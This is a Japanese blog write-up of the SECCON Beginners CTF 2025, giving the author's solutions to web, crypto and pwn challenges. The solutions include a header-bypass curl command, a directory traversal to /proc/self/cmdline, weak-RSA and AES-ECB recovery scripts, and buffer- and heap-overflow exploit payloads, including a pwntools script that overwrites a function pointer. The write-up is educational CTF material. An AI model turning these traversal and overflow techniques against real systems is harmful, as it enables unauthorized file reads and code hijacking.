📝

SECCON Beginners CTF 2025 Writeup

に公開

SECCON Beginners CTF 2025

2025年度のSECCON Beginners CTFに参加しましたのでWriteupです.
今回はいちぴろ・エクスプローラでチームを募って参加しました.
このWriteupでは自分が解いた問題のみになります.

注意: 途中で出てくるURLは実際のURLではないので,実際にアクセスしても問題は解けません.

web

skkiping

問題

/flag へのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。

var express = require("express");
var app = express();

const FLAG = process.env.FLAG;
const PORT = process.env.PORT;

app.get("/", (req, res, next) => {
    return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>');
});

const check = (req, res, next) => {
    if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') {
        return res.status(403).send('403 Forbidden');
    }

    next();
}

app.get("/flag", check, (req, res, next) => {
    return res.send(FLAG);
})

app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

解答

一旦普通に curl http://chal.seccon.com:port/ でアクセスしてみると,'FLAG をどうぞ: <a href="/flag">/flag</a>'が帰ってきます.

次に curl http://chal.seccon.com:port/flag でアクセスすると,check()でヘッダに x-ctf4b-request: ctf4b がついていないためifがfalseになり,403 Forbiddenが帰ってきます.
curlでヘッダをつけるには -H オプションを使います.

curl -H 'x-ctf4b-request: ctf4b' http://chal.seccon.com:port/flag とすると,ヘッダがついているのでifがtrueになり,FLAGを取得できます.

log-viwer

問題

ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです…

2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"

解答

この問題では2種類のログを選択して閲覧できるwebアプリケーションになっています.
1つ目のログがアクセスログになっており自分がアクセスした時のログが表示されるようになっています.
2つ目のログがデバッグログになており,こちらはwebアプリケーションが実行された時のログになってます.
この2つのログは http://chal.seccon.com:port/?file="access.log"http://chal.seccon.com:port/?file="debug.log" のようにGETパラメータでログファイルを指定して表示させています.
このようにGETパラメータからファイルを指定するやり方はディレクトリトラバーサルの脆弱性が考えられます.

注目すべきはデバッグログの file="../.envfile="../../proc/self/envion" の部分です.
file="../.env" を読み込もうとしているが次の行でエラーになっており, file="../../proc/self/envion" では権限のエラーが出ずに読み込みに成功しています.
つまり,webアプリケーションを実行しているユーザにはアプリケーション以外の不必要なファイルまでアクセス可能な状態であるということがわかります.

また, proc はLinuxのルートディレクトリにあることが多く, /proc/self/environ は実行中のプロセスの環境変数を表示するファイルです.
デバッグログの2行目をみるとこのwebアプリケーションが実行された時に引数としてフラグを渡しており,ログにはダミーのフラグしか表示されていません.

以上を踏まえて,ディレクトリトラバーサルを利用してこのアプリケーションが実行された時のコマンドログを探すことでフラグが取得できると考えられます.
そのような情報が書かれているファイルは ../../proc/self/cmdline になっているので,最終的にはGETパラメータに file="../../proc/self/cmdline" を指定してアクセスすることでフラグを取得できます.

crypto

seesaw

問題

RSA初心者です! pとqはこれでいいよね...?

import os
from Crypto.Util.number import getPrime

FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}").encode()
m = int.from_bytes(FLAG, 'big')

p = getPrime(512)   
q = getPrime(16)
n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079

解答

結論,ダメです.
pとqが素数であることまではいいのですが十分な大きさを持っていません.
現在のコンピュータの性能では,512ビット×16ビットのRSAは容易に解読可能です.
ですので16ビットの素数の総当たりで簡単にnの素因数分解が可能です.

from Crypto.Util.number import long_to_bytes
from sympy import primerange

n = 362433315617467211669633373003829486226172411166482563442958886158019905839570405964630640284863309204026062750823707471292828663974783556794504696138513859209
c = 104442881094680864129296583260490252400922571545171796349604339308085282733910615781378379107333719109188819881987696111496081779901973854697078360545565962079
e = 65537

# nを素因数分解(16ビット素数を総当たり)
for q in primerange(2**15, 2**16):
    if n % q == 0:
        break

p = n // q

# dを求める
phi = (p-1)*(q-1)
d = pow(e, -1, phi)

# 復号
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

<!-- 補足

十分なビット数は何ビットでしょうか? -->

01-Translater

問題

バイナリ列は読めない?じゃあ翻訳してあげるよ!

import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long


def encrypt(plaintext, key):
    cipher = AES.new(key, AES.MODE_ECB)
    return cipher.encrypt(pad(plaintext.encode(), 16))

flag = os.environ.get("FLAG", "CTF{dummy_flag}")
flag_bin = f"{bytes_to_long(flag.encode()):b}"
trans_0 = input("translations for 0> ")
trans_1 = input("translations for 1> ")
flag_translated = flag_bin.translate(str.maketrans({"0": trans_0, "1": trans_1}))
key = os.urandom(16)
print("ct:", encrypt(flag_translated, key).hex())

解答

AESで暗号化している問題なのでとりあえずAES CBCモードがどうやって暗号化しているか調べます.

参考: https://zenn.dev/kunosu/books/12fa489ef0821d803c4d/viewer/cbc

この問題はフラグをビット列に置き換えて,0と1をそれぞれ任意の文字列に置換した後に,乱数で出力した16バイトの鍵で暗号化した結果を出力するものとなっています.
0と1でそれぞれ同じ文字列を16文字ずつに置換してあげることで,暗号化した後に0と1それぞれに対応した文字列が出力されるようになる.

from binascii import unhexlify

# ---- 1. チャレンジから得た暗号文(16 進文字列) ----
hex_ct  = "e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b096883902844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce7e61cdce2aaadff5d55908e8fe0ac5ce72844bdf39826f7604fa4f84b09688390e61cdce2aaadff5d55908e8fe0ac5ce75e60ff1d2795e9ca428fe35afc06888a"

# ---- 2. 16 バイトごとに分割 ----
ct      = unhexlify(hex_ct)
blocks  = [ct[i:i + 16] for i in range(0, len(ct), 16)]

# ---- 3. 2 種類のブロック(A, B)を特定 ----
block_A = blocks[0]
block_B = next(b for b in blocks[1:] if b != block_A)   # 先頭と異なる最初のブロック

def recover(block0_is_zero: bool) -> bytes:
    """
    block_A を 0 にするか 1 にするか(block0_is_zero=True なら 0)の
    2 通りを試すためのヘルパ。
    """
    bits = []
    for blk in blocks:
        if blk == block_A:
            bits.append("0" if block0_is_zero else "1")
        elif blk == block_B:
            bits.append("1" if block0_is_zero else "0")
        # パディングブロックは無視
    bitstr = "".join(bits)

    # 8 ビット境界まで 0 埋め
    bitstr = bitstr.zfill((len(bitstr) + 7) // 8 * 8)

    # ビット列 → bytes
    data = int(bitstr, 2).to_bytes(len(bitstr) // 8, "big").lstrip(b"\x00")
    return data

flag = None
for mapping in (True, False):                 # True: A→0,  False: A→1
    recovered = recover(mapping)
    s = recovered.find(b"ctf4b{")
    if s != -1:
        e = recovered.find(b"}", s)
        if e != -1:
            flag = recovered[s : e + 1].decode("ascii")
            break                             # 正しいフラグを見つけたので終了

# ---- 4. 結果表示 ----
if flag:
    print(flag)
else:
    print("フラグが見つかりませんでした。")

Elliptic4b

問題

楕円曲線だからってそっと閉じないで!

import os
import secrets
from fastecdsa.curve import secp256k1
from fastecdsa.point import Point

flag = os.environ.get("FLAG", "CTF{dummy_flag}")
y = secrets.randbelow(secp256k1.p)
print(f"{y = }")
x = int(input("x = "))
if not secp256k1.is_point_on_curve((x, y)):
    print("// Not on curve!")
    exit(1)
a = int(input("a = "))
P = Point(x, y, secp256k1)
Q = a * P
if a < 0:
    print("// a must be non-negative!")
    exit(1)
if P.x != Q.x:
    print("// x-coordinates do not match!")
    exit(1)
if P.y == Q.y:
    print("// P and Q are the same point!")
    exit(1)
print("flag =", flag)

解答

楕円曲線上の点Pのy座標が与えられ,x座標を入力,この(x, y)が楕円曲線上の点であることを確認した後,aを入力してQ = aPを計算しています.入力したaが負ではなく,PとQのx座標が一致し,PとQが同じ点ではないことを確認した後にフラグを出力しています.

secp256k1は y^2 ≡ x^3 + 7 (mod p) という楕円曲線になっています.
yを与えられるので, x^3 ≡ y^2 - 7 (mod p) を満たすxを求めます.
xを求める時,立法剰余判定 r = (y^2 -7)^((p-1)//3) % p を計算して,rが1であれば立法剰余が存在することがわかります.
該当するxを求めて入力したら, a = n-1 を送信してフラグを取得します.

#!/usr/bin/env python3
"""
solve_loop.py ―― nc 版 self‑retry solver (secp256k1)
使い方:  python3 solve_loop.py HOST PORT
"""
import re, socket, sys, time, random

# ---------- 引数 ----------
if len(sys.argv) != 3:
    sys.exit(f"usage: {sys.argv[0]} HOST PORT")
HOST, PORT = sys.argv[1], int(sys.argv[2])

# ---------- secp256k1 ----------
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
h = (p - 1) // 3                               # 3‑part of p‑1
zeta = pow(2, h, p)                            # 立方非自明単位元 (ζ ≠ 1, ζ³ ≡ 1)

# ---------- 汎用 recv ----------
def recv_line(sock, delim=b'\n'):
    buf = b''
    while not buf.endswith(delim):
        chunk = sock.recv(1)
        if not chunk:
            break
        buf += chunk
    return buf

# ---------- キューブルート (e = 1 case) ----------
def cube_root_mod(c: int) -> int | None:
    """x^3 ≡ c (mod p) の解を 1 つ返す(無ければ None)"""
    if c == 0:
        return 0
    # ① 立方剰余判定
    if pow(c, h, p) != 1:
        return None             # 解無し
    # ② 1 本だけ取り出す (Tonelli‑Shanks の 3 次版:e=1)
    #    詳細は AMM アルゴリズム。ここでは簡潔に実装:
    #    t = c;      s = c^h = 1
    #    b = g^h (g は ζ を生成する任意の非剰余); ここでは b = ζ
    t, s, b = c, 1, zeta
    x = pow(t, (h + 2) // 3, p)  # t^{(h+2)/3} が 1 つのルート
    if pow(x, 3, p) != c:
        x = (x * b) % p          # 必要なら ζ を掛けて調整
        if pow(x, 3, p) != c:
            x = (x * b) % p
    return x if pow(x, 3, p) == c else None

# ---------- 1 試行 ----------
def try_once() -> str | None:
    with socket.create_connection((HOST, PORT), timeout=5) as s:
        banner = recv_line(s).decode().strip()         # "y = ..."
        m = re.match(r"y\s*=\s*(\d+)", banner)
        if not m:
            return None
        y = int(m.group(1))

        # キューブルートを試み → 失敗なら即ギブアップ
        c = (y * y - 7) % p
        x = cube_root_mod(c)
        if x is None or (x == 0 and y == 0):
            return None

        # a = n‑1 で Q = −P
        s.sendall(f"{x}\n".encode())
        s.sendall(f"{n - 1}\n".encode())

        # 全出力を読み取り
        out = b''
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            out += chunk

        m = re.search(rb"flag\s*=\s*(ctf4b\{.*?\})", out)
        return m.group(1).decode() if m else None

# ---------- main loop ----------
attempt = 1
while True:
    flag = try_once()
    if flag:
        print(f"[+] got flag in {attempt} tries:\n{flag}")
        break
    attempt += 1
    if attempt % 10 == 0:
        print(f"… {attempt} attempts so far (still retrying)")
    time.sleep(0.1)      # DoS 回避の軽い待ち

pwnable

pet_name

問題

ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void init() {
    // You don't need to read this because it's just initialization
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
}

int main() {
    init();

    char pet_name[32] = {0};
    char path[128] = "/home/pwn/pet_sound.txt";

    printf("Your pet name?: ");
    scanf("%s", pet_name);

    FILE *fp = fopen(path, "r");
    if (fp) {
        char buf[256] = {0};
        if (fgets(buf, sizeof(buf), fp) != NULL) {
            printf("%s sound: %s\n", pet_name, buf);
        } else {
            puts("Failed to read the file.");
        }
        fclose(fp);
    } else {
        printf("File not found: %s\n", path);
    }
    return 0;
}

解答

入力長のチェックが行われていないので,pet_nameのスタックのサイズを超える入力をすることでバッファオーバーフローを起こすことができる.
フローを起こした文字列はpathに入っていくので,pathの中身を上書きすることで任意のファイルを読み取ることができる.
入力を受け付けた後はpathのファイルを読み取りそのまま出力するので,問題文にある通りにpathを/home/pwn/flag.txtに書き換えることでフラグを取得することができる.

# 入力例
Your pet name?: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/home/pwn/flag.txt

pet_sound

問題

ペットに鳴き声を教えましょう

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Pet;
void speak_flag(struct Pet *p);
void speak_sound(struct Pet *p);
void visualize_heap(struct Pet *a, struct Pet *b);

struct Pet {
    void (*speak)(struct Pet *p);
    char sound[32];
};

int main() {
    struct Pet *pet_A, *pet_B;

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);

    puts("--- Pet Hijacking ---");
    puts("Your mission: Make Pet speak the secret FLAG!\n");
    printf("[hint] The secret action 'speak_flag' is at: %p\n", speak_flag);

    pet_A = malloc(sizeof(struct Pet));
    pet_B = malloc(sizeof(struct Pet));

    pet_A->speak = speak_sound;
    strcpy(pet_A->sound, "wan...");
    pet_B->speak = speak_sound;
    strcpy(pet_B->sound, "wan...");

    printf("[*] Pet A is allocated at: %p\n", pet_A);
    printf("[*] Pet B is allocated at: %p\n", pet_B);
    
    puts("\n[Initial Heap State]");
    visualize_heap(pet_A, pet_B);

    printf("\n");
    printf("Input a new cry for Pet A > ");
    read(0, pet_A->sound, 0x32);

    puts("\n[Heap State After Input]");
    visualize_heap(pet_A, pet_B);

    pet_A->speak(pet_A);
    pet_B->speak(pet_B);

    free(pet_A);
    free(pet_B);
    return 0;
}

void speak_flag(struct Pet *p) {
    char flag[64] = {0};
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        puts("\nPet seems to want to say something, but can't find 'flag.txt'...");
        return;
    }
    fgets(flag, sizeof(flag), f);
    fclose(f);
    flag[strcspn(flag, "\n")] = '\0';

    puts("\n**********************************************");
    puts("* Pet suddenly starts speaking flag.txt...!? *");
    printf("* Pet: \"%s\" *\n", flag);
    puts("**********************************************");
    exit(0);
}

void speak_sound(struct Pet *p) {
    printf("Pet says: %s\n", p->sound);
}

void visualize_heap(struct Pet *a, struct Pet *b) {
    unsigned long long *ptr = (unsigned long long *)a;
    puts("\n--- Heap Layout Visualization ---");
    for (int i = 0; i < 12; i++, ptr++) {
        printf("0x%016llx: 0x%016llx", (unsigned long long)ptr, *ptr);
        if (ptr == (unsigned long long *)&a->speak) printf(" <-- pet_A->speak");
        if (ptr == (unsigned long long *)a->sound)   printf(" <-- pet_A->sound");
        if (ptr == (unsigned long long *)&b->speak) printf(" <-- pet_B->speak (TARGET!)");
        if (ptr == (unsigned long long *)b->sound)   printf(" <-- pet_B->sound");
        puts("");
    }
    puts("---------------------------------");
}

解答

この問題は動的に割り当てを行ったPet構造体のメモリに対して,構造体内部のスタックメモリサイズを超える入力を行ってバッファオーバーフローを引き起こすことで,pet_Bの関数ポインタを上書きし,speak_flag関数を呼び出すことができるようにする問題になってます.
ユーザがpet_Aのsoundに入力するまでにpet_Aとpet_Bの構造体の先頭ポインタ,speak関数ポインタ,soundバッファの先頭ポインタのアドレスが表示されるのでこれらを頼りにペイロードを作成していきます.
32バイト分のsoundバッファの後に8バイト分のパディングを入れ,pet_Bのspeak関数ポインタをspeak_flag関数のアドレスに上書きすることで,pet_Aのspeak関数を呼び出したときにpet_Bのspeak関数が呼び出されるようになります.

from pwn import *
import re, sys

context.endian = "little"

if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} HOST PORT")
    sys.exit(1)

HOST, PORT = sys.argv[1], int(sys.argv[2])
io = remote(HOST, PORT)

# --- 1. 「hint 行」を読む --------------------------------------------------
addr = None
while True:
    line = io.recvline().decode().strip()
    m = re.search(r"speak_flag'.*?at:\s*(0x[0-9a-fA-F]+)", line)
    if m:
        addr = int(m.group(1), 16)
        log.info(f"speak_flag = {hex(addr)}")
        break
# 残りのバナーも全部受け取るが捨てて良い
io.recvuntil(b"Input a new cry for Pet A > ")

# --- 2. ペイロード作成 ----------------------------------------------------
payload  = b"A"*32          # pet_A->sound
payload += b"B"*8           # padding (pet_A の残り 8 byte)
payload += p64(addr)        # pet_B->speak を speak_flag に
payload += b"\n"            # read() が改行まで読むのでおまけ

io.send(payload)
io.interactive() # フラグ表示

おわりに

SECCON Beginners CTF 2025ではチームでは半分ほどの問題を解くことができました.
自分自身でも勉強会での問題作成や過去問を解くなどして着実に実力が向上していると感じられるCTFでした.

SECCON Beginners CTFを一人で完答するまで精進し続けます.

Discussion